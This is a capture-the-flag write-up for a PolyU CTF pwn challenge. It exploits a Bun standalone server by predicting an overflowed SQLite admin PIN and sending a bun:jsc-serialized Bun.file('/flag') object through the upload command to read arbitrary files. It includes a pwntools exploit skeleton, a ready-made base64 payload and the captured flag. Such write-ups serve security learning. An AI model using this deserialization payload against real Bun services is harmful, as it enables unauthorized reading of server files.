Challenge authored by Cynthia.
498 pts.
Someone said ARM is the future, but I don’t think it has any relationship with secure communication.
Connection: nc chal.polyuctf.com 35003 and http://chal.polyuctf.com:35003
This is a pwn challenge involving a custom encrypted communication protocol implemented in a Bun standalone binary. It features a sophisticated chain involving SQLite BigInt overflow and Bun JSC deserialization to achieve arbitrary file read.
The challenge provides a binary chal, which is a Bun standalone executable. By extracting the bundled source code (searching for the ---- Bun! ---- marker), we find a source-advanced-main.js file implementing the server logic.
The protocol uses RSA-OAEP 4096-bit for key exchange, after which all communication is encrypted and serialized.
Crucially, unlike the standard version which used JSON5, this advanced version uses bun:jsc for serialization:
import { deserialize as R } from "bun:jsc";
// ...
let e = R(Buffer.from(c, "base64"));
bun:jsc allows serializing internal Bun objects, which becomes the core of our exploit.
The application generates an admin user at startup with a PIN derived from the current time:
var time = Date.now();
time -= time % 5000;
insertUser.run("admin", BigInt(time) ** 2n, true);
The calculation BigInt(time) ** 2n overflows SQLite’s 64-bit signed INTEGER type. When read back, it wraps around. We can predict this value locally to login as admin.
The upload command allows admins to write files to /tmp. It performs a check on the file name or type:
if(t.name.match(/^[a-zA-Z0-9_\-\.]html$/)||i.type==="text/html"){
let y=`/tmp/${t.name}`;
await Bun.write(y, await i.content);
// ...
}
The vulnerability lies in how Bun.write handles i.content. If i.content is a Bun.file() object, Bun.write will read from that file and write its content to the destination.
Since bun:jsc deserialize allows us to pass serialized Bun.file() objects, we can construct a malicious payload where content is Bun.file("/flag"). When the server deserializes this and calls Bun.write, it unwittingly reads the flag from the server’s filesystem and writes it to /tmp.
The exploit chain is as follows:
Upload Payload: Send a JSC-serialized payload for the upload command:
command: “upload”files: A list containing a file object.name: “f” (destination filename).content: An object with type: "text/html" (to bypass the check) and content: Bun.file("/flag").Bun.write("/tmp/f", Bun.file("/flag")), copying the flag to /tmp/f.Retrieve Flag:
start command to launch the static file server serving /tmp./f.import sys, time, json, base64, subprocess
from pwn import *
# ... (imports for cryptography)
# Pre-computed JSC payload: upload command with Bun.file("/flag") as content
# Generated by: serialize({command:"upload",files:[{name:"f",content:{type:"text/html",content:Bun.file("/flag")}}]})
BUNFILE_FLAG_JSC_B64 = "DQAAAAIHAACAY29tbWFuZBAGAACAdXBsb2FkBQAAgGZpbGVzAQEAAAAAAAAAAgQAAIBuYW1lEAEAAIBmBwAAgGNvbnRlbnQCBAAAgHR5cGUQCQAAgHRleHQvaHRtbP7///8F/gMAAAAAAAAAABgAAABhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0AAAEFAAAAL2ZsYWcAAAAAAAAAAAD/////////////////////";
def exploit():
r = remote("chal.polyuctf.com", 35003)
# ... (Key exchange and Admin Login logic) ...
# Upload /flag to /tmp/f
log.info("Uploading /flag via Bun.file() JSC deserialization...")
send_raw_jsc(r, BUNFILE_FLAG_JSC_B64, server_pubkey, private_key)
# Start static server
send_command(r, {"command": "start"}, server_pubkey, private_key)
# Read /tmp/f via HTTP
r.sendline(b"GET /f HTTP/1.1\r\nHost: localhost\r\n\r\n")
print(r.recvrepeat(2).decode())
if __name__ == "__main__":
exploit()
Running the script extracts the flag:
[*] HTTP response:
HTTP/1.1 200 OK
content-type: application/octet-stream
content-disposition: filename="f"
content-length: 59
Date: Sun, 15 Mar 2026 04:18:44 GMT
PUCTF26{t8p_h77p_t0g5t2e9_wtKfM1FlxJOm0jKJd2saajwF0pr2dNDX}HTTP/1.1 400 Bad Request
Connection: close
Connection closed. undefined
[+] FLAG: PUCTF26{t8p_h77p_t0g5t2e9_wtKfM1FlxJOm0jKJd2saajwF0pr2dNDX}HTTP/1.1 400 Bad Request